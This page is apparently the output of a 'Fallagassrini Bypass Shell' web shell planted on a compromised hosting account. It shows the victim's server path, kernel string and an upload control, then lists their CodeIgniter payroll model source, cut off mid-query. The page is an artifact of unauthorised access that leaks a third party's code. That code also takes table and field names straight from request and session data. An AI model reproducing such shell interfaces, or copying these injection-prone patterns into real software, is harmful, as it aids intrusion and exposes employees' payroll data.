? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/horeitia/application/models/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/horeitia/application/models/payrollmodel.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');


class Payrollmodel extends CI_Model
{
    function __construct()
    {
        // Call the Model constructor
        parent::__construct();
    }
    function add($postdata)
    {
        $data=array();
        $data['resfunction']=$postdata['resfunction'];
        $table = $postdata['tab_name'];
        unset ($postdata['tab_name']);
        unset ($postdata['resfunction']);
        $res=$this->db->insert($table,$postdata);
        $cnt=$this->db->insert_id();
        if($res>0)
        {
            $data['res']=1;
            $data['msg']='Record Added Successfully';
        }
        else
        {
            $data['res']=0;
            $data['msg']='Erron On Adding Record';
        }
        return $data;
    }

    function update($postdata)
    {
        $data=array();
        $data['resfunction']=$postdata['resfunction'];
        $table = $postdata['tab_name'];
        $field = $postdata['tab_field'];
        $id= $postdata['tab_id'];
        unset ($postdata['resfunction']);
        unset ($postdata['tab_name']);
        unset ($postdata['tab_field']);
        unset ($postdata['tab_id']);
        $this->db->where($field, $id);
        $res=$this->db->update($table,$postdata);
        if($res>0)
        {
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
        }
        else
        {
            $data['res']=0;
            $data['msg']='Erron On updating Record';
        }
        return $data;
    }

        /*Search function starts here*/
    function search_payroll_generation($pagenum)
    {
        
        $data=array();
        $this->db->select('*');
        $this->db->select("CONCAT(payroll_generation_month,' ', payroll_generation_year) as payroll_generation_month_year",FALSE); 
        $this->db->from('payroll_generation');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->select("CONCAT(payroll_generation_month,' ', payroll_generation_year) as payroll_generation_month_year",FALSE); 
        $this->db->from('payroll_generation');
        $this->db->limit($perpage, $start);
        $this->db->order_by('payroll_generation_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }
    
    function search_working_hour($pagenum)
    {
        
        $data=array();
        $this->db->from('payroll_working_hour');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->from('payroll_working_hour');
        $this->db->limit($perpage, $start);
        $this->db->order_by('working_hour_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_payroll_allowance($pagenum)
    {
        $data=array();
        $this->db->from('payroll_allowance');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('payroll_allowance');
        $this->db->limit($perpage, $start);
        $this->db->order_by('payroll_allowance_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_payroll_deduction($pagenum)
    {
        $data=array();
        $this->db->from('payroll_deduction');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('payroll_deduction');
        $this->db->limit($perpage, $start);
        $this->db->order_by('payroll_deduction_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_present_code($pagenum)
    {
        $data=array();
        $this->db->from('payroll_present_code');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('payroll_present_code');
        $this->db->limit($perpage, $start);
        $this->db->order_by('present_code_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_overtime_calculation($pagenum)
    {

        $data=array();
        $this->db->from('payroll_overtime_calculation');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            if($searchfield=="overtime_calculation_effective_date")
            {
                $searchtext=  $this->mastermodel->convdatformat($searchtext);
            }
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            if($searchfield=="overtime_calculation_effective_date")
            {
                $searchtext=  $this->mastermodel->convdatformat($searchtext);
            }
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->from('payroll_overtime_calculation');
        $this->db->limit($perpage, $start);
        $this->db->order_by('overtime_calculation_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_holiday_overtime_calculation($pagenum)
    {

        $data=array();
        $this->db->from('payroll_holiday_overtime_calculation');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            if($searchfield=="holiday_overtime_calculation_effective_date")
            {
                $searchtext=  $this->mastermodel->convdatformat($searchtext);
            }
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            if($searchfield=="holiday_overtime_calculation_effective_date")
            {
                $searchtext=  $this->mastermodel->convdatformat($searchtext);
            }
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->from('payroll_holiday_overtime_calculation');
        $this->db->limit($perpage, $start);
        $this->db->order_by('holiday_overtime_calculation_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_weekly_holiday($pagenum)
    {

        $data=array();
        
        $count= 1;
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        $data['results']='';
        return $data;
    }

    function search_special_holiday($pagenum)
    {

        $data=array();
        $this->db->from('payroll_special_holiday');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            if($searchfield=="special_holiday_date")
            {
                $searchtext=  $this->mastermodel->convdatformat($searchtext);
            }    
            $this->db->like($searchfield, $searchtext);
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            if($searchfield=="special_holiday_date")
            {
                $searchtext=  $this->mastermodel->convdatformat($searchtext);
            } 
            $this->db->like($searchfield, $searchtext);
        }
        $this->db->select('*');
        $this->db->from('payroll_special_holiday');
        $this->db->limit($perpage, $start);
        $this->db->order_by('special_holiday_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

        /*Search function ends here*/


        /*Add function starts here*/

    function insert_payroll_generation($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $tblValues=array(
                        'payroll_generation_date'=>$this->mastermodel->convertdateformat($postdata['payroll_generation_date']),
                        'payroll_generation_subject'=>$postdata['payroll_generation_subject'],
                        'payroll_generation_month'=>$postdata['payroll_generation_month'],
                        'payroll_generation_year'=>$postdata['payroll_generation_year'],
                        'payroll_generation_remarks'=>$postdata['payroll_generation_remarks'],
                        );
        $this->db->insert('payroll_generation', $tblValues);
        
        
        $data['resfunction']='search_payroll_generation';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Payment Details Added Successfully';
            return $data;
        }
    }
    
    function insert_salary_payment($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        for($i=1;$i<=$postdata['no_rows'];$i++)
        {
            if(isset($postdata['pay_row_'.$i]))
            {        
                if($postdata['payroll_generation_payment_status_'.$i]=="Unpaid")
                {        
                    $tblValues=array(
                            'payroll_salary_payment_date'=>$this->mastermodel->convertdateformat($postdata['payroll_salary_payment_date']),
                            'payroll_generation_details_id'=>$postdata['payroll_generation_details_id_'.$i],
                            'payroll_salary_payment_remarks'=>$postdata['payroll_salary_payment_remarks_'.$i],
                            );
                    $this->db->insert('payroll_salary_payment', $tblValues);

                    $tblValues=array(
                            'payroll_generation_payment_status'=>'Paid',
                            );
                    $this->db->where('payroll_generation_details_id', $postdata['payroll_generation_details_id_'.$i]);
                    $this->db->update('payroll_generation_details', $tblValues);
                }
                else 
                {
                    $tblValues=array(
                            'payroll_salary_payment_date'=>$this->mastermodel->convertdateformat($postdata['payroll_salary_payment_date']),
                            'payroll_salary_payment_remarks'=>$postdata['payroll_salary_payment_remarks_'.$i],
                            );
                    $this->db->where('payroll_generation_details_id', $postdata['payroll_generation_details_id_'.$i]);
                    $this->db->update('payroll_salary_payment', $tblValues);
                }
            }
        }
        $data['resfunction']='search_payroll_generation';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Payment details added Successfully';
            return $data;
        }
    }

    function insert_working_hour($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $tblValues=array(
                        'working_hour_effective_date'=>$this->mastermodel->convertdateformat($postdata['working_hour_effective_date']),
                        'working_hours'=>$postdata['working_hours']);
        $this->db->insert('payroll_working_hour', $tblValues);
        
        
        $data['resfunction']='search_working_hour';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }

    function insert_overtime_calculation($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $tblValues=array(
                        'overtime_calculation_effective_date'=>$this->mastermodel->convertdateformat($postdata['overtime_calculation_effective_date']),
                        'overtime_calculation_perc'=>$postdata['overtime_calculation_perc']);
        $this->db->insert('payroll_overtime_calculation', $tblValues);


        $data['resfunction']='search_overtime_calculation';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }

    function insert_holiday_overtime_calculation($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $tblValues=array(
                        'holiday_overtime_calculation_effective_date'=>$this->mastermodel->convertdateformat($postdata['holiday_overtime_calculation_effective_date']),
                        'holiday_overtime_calculation_perc'=>$postdata['holiday_overtime_calculation_perc']);
        $this->db->insert('payroll_holiday_overtime_calculation', $tblValues);


        
        $data['resfunction']='search_holiday_overtime_calculation';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }

    function insert_special_holiday($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $tblValues=array(
                        'special_holiday_date'=>$this->mastermodel->convertdateformat($postdata['special_holiday_date']),
                        'special_holiday_name'=>$postdata['special_holiday_name']);
        $this->db->insert('payroll_special_holiday', $tblValues);


        $data['resfunction']='search_special_holiday';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }

    function enter_payroll_generation($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $weekly_holidays=$this->mastermodel->getdatas('payroll_weekly_holiday','payroll_weekly_holiday_id');
        $holiday=array();
        foreach ($weekly_holidays as $weekly)
        {
            $holiday[]=$weekly['payroll_weekly_holiday'];
        }
        for($i=$postdata['employee_starting'];$i<=$postdata['no_employees'];$i++)
        {
            if($postdata['payroll_generation_details_id_'.$i] != '')
            {        
                $tblValues=array(
                        'payroll_generation_camp_id'=>$postdata['employee_camp_id_'.$i],
                        'payroll_generation_basic_salary'=>$postdata['basic_salary_'.$i],
                        'payroll_generation_ot_amount'=>$postdata['ot_amount_'.$i],
                        'payroll_generation_previous_balance'=>$postdata['previous_balance_'.$i],
                        'payroll_generation_special_allowance'=>$postdata['special_allowance_'.$i],
                        'payroll_generation_site_allowance'=>$postdata['site_allowance_'.$i],
                        'payroll_generation_absent_amount'=>$postdata['absent_'.$i],
                        'payroll_generation_ticket_refundable'=>$postdata['ticket_refundable_'.$i],
                        'payroll_generation_refundable_amount'=>$postdata['refundable_amount_'.$i],
                        'payroll_generation_other_allowance'=>$postdata['other_allowance_'.$i],
                        'payroll_generation_salary_advance'=>$postdata['salary_advance_'.$i],
                        'payroll_generation_other_deductions'=>$postdata['other_deductions_'.$i],
                        'payroll_generation_corrected_salary'=>$postdata['corrected_salary_'.$i],
                        'payroll_generation_payment_status'=>$postdata['payment_status_'.$i],
                        'payroll_generation_timesheet_ot'=>$postdata['ot_hours_'.$i],
                        'payroll_generation_absent_days'=>$postdata['absent_days_'.$i],
                        'payroll_generation_total_hrs'=>$postdata['total_hours_'.$i],
                        'payroll_generation_normal_rate'=>$postdata['normal_rate_'.$i],
                        'payroll_generation_timesheet_amount'=>$postdata['timesheet_amount_'.$i],
                        'payroll_generation_employee_contribution'=>$postdata['employee_contribution_'.$i],
                        'payroll_generation_payroll_status'=>$postdata['payroll_status_'.$i],
                    );
                    
                    $this->db->where('payroll_generation_details_id', $postdata['payroll_generation_details_id_'.$i]);    
                    $this->db->update('payroll_generation_details', $tblValues);
                    
                    $this->db->where('payroll_generation_details_id', $postdata['payroll_generation_details_id_'.$i]);    
                    $this->db->delete('payroll_generation_date');
                    $holiday_flag=0;
                    for($j=1;$j<=$postdata['no_days'];$j++)
                    {
                        if(($postdata[$j.'_employee_hours_'.$i] == 'A' || $postdata[$j.'_employee_hours_'.$i] == '0' || $postdata[$j.'_employee_hours_'.$i] == 'a' || $postdata[$j.'_employee_hours_'.$i] == '' || $postdata[$j.'_employee_hours_'.$i] == '-') && !(in_array(date('l', strtotime($postdata[$j.'_employee_date_'.$i])), $holiday)))
                        {
                            $holiday_flag=1;
                        }
                        if(in_array(date('l', strtotime($postdata[$j.'_employee_date_'.$i])), $holiday))
                        {
                            if($holiday_flag!=1 && ($postdata[$j.'_employee_hours_'.$i] == 'A' || $postdata[$j.'_employee_hours_'.$i] == '0' || $postdata[$j.'_employee_hours_'.$i] == 'a' || $postdata[$j.'_employee_hours_'.$i] == '' || $postdata[$j.'_employee_hours_'.$i] == '-'))
                                $postdata[$j.'_employee_hours_'.$i]=substr(date('l', strtotime($postdata[$j.'_employee_date_'.$i])), 0,1);
                            $holiday_flag=0;
                        }
                        $tblValues=array(
                                'payroll_generation_details_id'=>$postdata['payroll_generation_details_id_'.$i],
                                'payroll_generation_date'=>$postdata[$j.'_employee_date_'.$i],
                                'payroll_generation_no_hours'=>$postdata[$j.'_employee_hours_'.$i],
                                'payroll_generation_reason'=>$postdata[$j.'_reason_'.$i],
                                );
                        $this->db->insert('payroll_generation_date', $tblValues);
                    }
                    if($postdata['employee_camp_id_'.$i] != $postdata['original_employee_camp_id_'.$i])
                    {
                        $this->db->where('employee_id',$postdata['employee_id_'.$i]);
                        $this->db->where('camp_allotment_date',date("Y-m-d"));
                        $this->db->delete('camp_allotment');
                        $tblValues=array(
                                'employee_id'=>$postdata['employee_id_'.$i],
                                'camp_id'=>$postdata['employee_camp_id_'.$i],
                                'camp_allotment_date'=>date("Y-m-d"),
                                );
                        $this->db->insert('camp_allotment', $tblValues);
                    } 
                }
                else
                {
                    $tblValues=array(
                    'payroll_generation_id'=>$postdata['payroll_generation_id'],
                    'payroll_generation_employee_id'=>$postdata['employee_id_'.$i],
                    'payroll_generation_camp_id'=>$postdata['employee_camp_id_'.$i],
                    'payroll_generation_basic_salary'=>$postdata['basic_salary_'.$i],
                    'payroll_generation_ot_amount'=>$postdata['ot_amount_'.$i],
                    'payroll_generation_previous_balance'=>$postdata['previous_balance_'.$i],
                    'payroll_generation_special_allowance'=>$postdata['special_allowance_'.$i],
                    'payroll_generation_site_allowance'=>$postdata['site_allowance_'.$i],
                    'payroll_generation_absent_amount'=>$postdata['absent_'.$i],
                    'payroll_generation_ticket_refundable'=>$postdata['ticket_refundable_'.$i],
                    'payroll_generation_refundable_amount'=>$postdata['refundable_amount_'.$i],
                    'payroll_generation_other_allowance'=>$postdata['other_allowance_'.$i],
                    'payroll_generation_salary_advance'=>$postdata['salary_advance_'.$i],
                    'payroll_generation_other_deductions'=>$postdata['other_deductions_'.$i],
                    'payroll_generation_corrected_salary'=>$postdata['corrected_salary_'.$i],
                    'payroll_generation_payment_status'=>$postdata['payment_status_'.$i],
                    'payroll_generation_timesheet_ot'=>$postdata['ot_hours_'.$i],
                    'payroll_generation_absent_days'=>$postdata['absent_days_'.$i],
                    'payroll_generation_total_hrs'=>$postdata['total_hours_'.$i],
                    'payroll_generation_normal_rate'=>$postdata['normal_rate_'.$i],
                    'payroll_generation_timesheet_amount'=>$postdata['timesheet_amount_'.$i],
                    'payroll_generation_employee_contribution'=>$postdata['employee_contribution_'.$i],
                    'payroll_generation_payroll_status'=>$postdata['payroll_status_'.$i],
                    );
                    $this->db->insert('payroll_generation_details', $tblValues);

                    $payroll_generation_details_id=mysql_insert_id();
                    for($j=1;$j<=$postdata['no_days'];$j++)
                    {
                        $tblValues=array(
                                'payroll_generation_details_id'=>$payroll_generation_details_id,
                                'payroll_generation_date'=>$postdata[$j.'_employee_date_'.$i],
                                'payroll_generation_no_hours'=>$postdata[$j.'_employee_hours_'.$i],
                                'payroll_generation_reason'=>$postdata[$j.'_reason_'.$i],
                                );
                        $this->db->insert('payroll_generation_date', $tblValues);
                    }

                    if($postdata['employee_camp_id_'.$i] != $postdata['original_employee_camp_id_'.$i])
                    {
                        $this->db->where('employee_id',$postdata['employee_id_'.$i]);
                        $this->db->where('camp_allotment_date',date("Y-m-d"));
                        $this->db->delete('camp_allotment');
                        $tblValues=array(
                                'employee_id'=>$postdata['employee_id_'.$i],
                                'camp_id'=>$postdata['employee_camp_id_'.$i],
                                'camp_allotment_date'=>date("Y-m-d"),
                                );
                        $this->db->insert('camp_allotment', $tblValues);
                    } 
                }
            }
            if ($this->db->trans_status() === FALSE)
            {
                $this->db->trans_rollback();
            }
            else
            {
                $this->db->trans_commit();
            }
        }
        
        
        function revise_payroll_generation($postdata)
        {
            $data=array();
            $this->db->trans_begin();
            
            $weekly_holidays=$this->mastermodel->getdatas('payroll_weekly_holiday','payroll_weekly_holiday_id');
            $holiday=array();
            foreach ($weekly_holidays as $weekly)
            {
                $holiday[]=$weekly['payroll_weekly_holiday'];
            }
            for($i=1;$i<=$postdata['no_employees'];$i++)
            {
                if(isset($postdata['revise_row_'.$i]))
                {
                    $tblValues=array(
                        'payroll_generation_id'=>$postdata['payroll_generation_id'],
                        'payroll_generation_employee_id'=>$postdata['employee_id_'.$i],
                        'payroll_generation_camp_id'=>$postdata['employee_camp_id_'.$i],
                        'payroll_generation_basic_salary'=>$postdata['basic_salary_'.$i],
                        'payroll_generation_ot_amount'=>$postdata['ot_amount_'.$i],
                        'payroll_generation_previous_balance'=>$postdata['previous_balance_'.$i],
                        'payroll_generation_special_allowance'=>$postdata['special_allowance_'.$i],
                        'payroll_generation_site_allowance'=>$postdata['site_allowance_'.$i],
                        'payroll_generation_absent_amount'=>$postdata['absent_'.$i],
                        'payroll_generation_ticket_refundable'=>$postdata['ticket_refundable_'.$i],
                        'payroll_generation_refundable_amount'=>$postdata['refundable_amount_'.$i],
                        'payroll_generation_other_allowance'=>$postdata['other_allowance_'.$i],
                        'payroll_generation_salary_advance'=>$postdata['salary_advance_'.$i],
                        'payroll_generation_other_deductions'=>$postdata['other_deductions_'.$i],
                        'payroll_generation_corrected_salary'=>$postdata['corrected_salary_'.$i],
                        'payroll_generation_payment_status'=>'Unpaid',
                        'payroll_generation_timesheet_ot'=>$postdata['ot_hours_'.$i],
                        'payroll_generation_absent_days'=>$postdata['absent_days_'.$i],
                        'payroll_generation_total_hrs'=>$postdata['total_hours_'.$i],
                        'payroll_generation_normal_rate'=>$postdata['normal_rate_'.$i],
                        'payroll_generation_timesheet_amount'=>$postdata['timesheet_amount_'.$i],
                        'payroll_generation_employee_contribution'=>$postdata['employee_contribution_'.$i],
                        'payroll_generation_payroll_status'=>$postdata['payroll_status_'.$i],
                        );
                $this->db->insert('payroll_generation_details', $tblValues);
                
                $payroll_generation_details_id=mysql_insert_id();
                $holiday_flag=0;
                for($j=1;$j<=$postdata['no_days'];$j++)
                {
                    if(($postdata[$j.'_employee_hours_'.$i] == 'A' || $postdata[$j.'_employee_hours_'.$i] == '0' || $postdata[$j.'_employee_hours_'.$i] == 'a' || $postdata[$j.'_employee_hours_'.$i] == '' || $postdata[$j.'_employee_hours_'.$i] == '-') && !(in_array(date('l', strtotime($postdata[$j.'_employee_date_'.$i])), $holiday)))
                    {
                        $holiday_flag=1;
                    }
                    if(in_array(date('l', strtotime($postdata[$j.'_employee_date_'.$i])), $holiday))
                    {
                        if($holiday_flag!=1)
                            $postdata[$j.'_employee_hours_'.$i]=substr(date('l', strtotime($postdata[$j.'_employee_date_'.$i])), 0,1);
                        $holiday_flag=0;
                    }
                    $tblValues=array(
                                'payroll_generation_details_id'=>$payroll_generation_details_id,
                                'payroll_generation_date'=>$postdata[$j.'_employee_date_'.$i],
                                'payroll_generation_no_hours'=>$postdata[$j.'_employee_hours_'.$i],
                                'payroll_generation_reason'=>$postdata[$j.'_reason_'.$i],
                            );
                    $this->db->insert('payroll_generation_date', $tblValues);
                }
                if($postdata['employee_camp_id_'.$i] != $postdata['original_employee_camp_id_'.$i])
                {
                    $this->db->where('employee_id',$postdata['employee_id_'.$i]);
                    $this->db->where('camp_allotment_date',date("Y-m-d"));
                    $this->db->delete('camp_allotment');
                    $tblValues=array(
                            'employee_id'=>$postdata['employee_id_'.$i],
                            'camp_id'=>$postdata['employee_camp_id_'.$i],
                            'camp_allotment_date'=>date("Y-m-d"),
                            );
                    $this->db->insert('camp_allotment', $tblValues);
                } 
            }
        }
        $data['resfunction']='search_payroll_generation';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }
        /*Add function ends here*/


         /*Update function starts here*/

    function update_payroll_generation($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $tblValues=array(
                        'payroll_generation_date'=>$this->mastermodel->convertdateformat($postdata['payroll_generation_date']),
                        'payroll_generation_subject'=>$postdata['payroll_generation_subject'],
                       'payroll_generation_remarks'=>$postdata['payroll_generation_remarks'],
                        );
        $this->db->where('payroll_generation_id', $postdata['payroll_generation_id']);
        $this->db->update('payroll_generation', $tblValues);
        
        
        $data['resfunction']='search_payroll_generation';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }

    function update_working_hour($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $tblValues=array(
                        'working_hour_effective_date'=>$this->mastermodel->convertdateformat($postdata['working_hour_effective_date']),
                        'working_hours'=>$postdata['working_hours']);
        $this->db->where('working_hour_id', $postdata['working_hour_id']);
        $this->db->update('payroll_working_hour', $tblValues);
       
        $data['resfunction']='search_working_hour';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
            return $data;
        }
    }

    function update_overtime_calculation($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $tblValues=array(
                        'overtime_calculation_effective_date'=>$this->mastermodel->convertdateformat($postdata['overtime_calculation_effective_date']),
                        'overtime_calculation_perc'=>$postdata['overtime_calculation_perc']);
        $this->db->where('overtime_calculation_id', $postdata['overtime_calculation_id']);
        $this->db->update('payroll_overtime_calculation', $tblValues);
        $data['resfunction']='search_overtime_calculation';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
            return $data;
        }
    }

    function update_holiday_overtime_calculation($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $tblValues=array(
                        'holiday_overtime_calculation_effective_date'=>$this->mastermodel->convertdateformat($postdata['holiday_overtime_calculation_effective_date']),
                        'holiday_overtime_calculation_perc'=>$postdata['holiday_overtime_calculation_perc']);
        $this->db->where('holiday_overtime_calculation_id', $postdata['holiday_overtime_calculation_id']);
        $this->db->update('payroll_holiday_overtime_calculation', $tblValues);

        $data['resfunction']='search_holiday_overtime_calculation';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
            return $data;
        }
    }

    function update_weekly_holiday($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $this->db->truncate('payroll_weekly_holiday');
        foreach($postdata['weekly_holiday'] as $holiday)
        {
            $tblValues=array('payroll_weekly_holiday'=>$holiday);
            $this->db->insert('payroll_weekly_holiday', $tblValues);
        }

        $data['resfunction']='search_weekly_holiday';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Holidays Updated Successfully';
            return $data;
        }
    }

    function update_special_holiday($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $tblValues=array(
                        'special_holiday_date'=>$this->mastermodel->convertdateformat($postdata['special_holiday_date']),
                        'special_holiday_name'=>$postdata['special_holiday_name']);
        $this->db->where('special_holiday_id', $postdata['special_holiday_id']);
        $this->db->update('payroll_special_holiday', $tblValues);

        $data['resfunction']='search_special_holiday';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
            return $data;
        }
    }

    function get_no_payroll_details($start_date,$end_date,$payroll_generation_id)
    {
        $data = array();
        $query="(SELECT 
            emp_non_full_name,
            emp_non_no,
            emp_non_id,
            emp_non_date_joining,
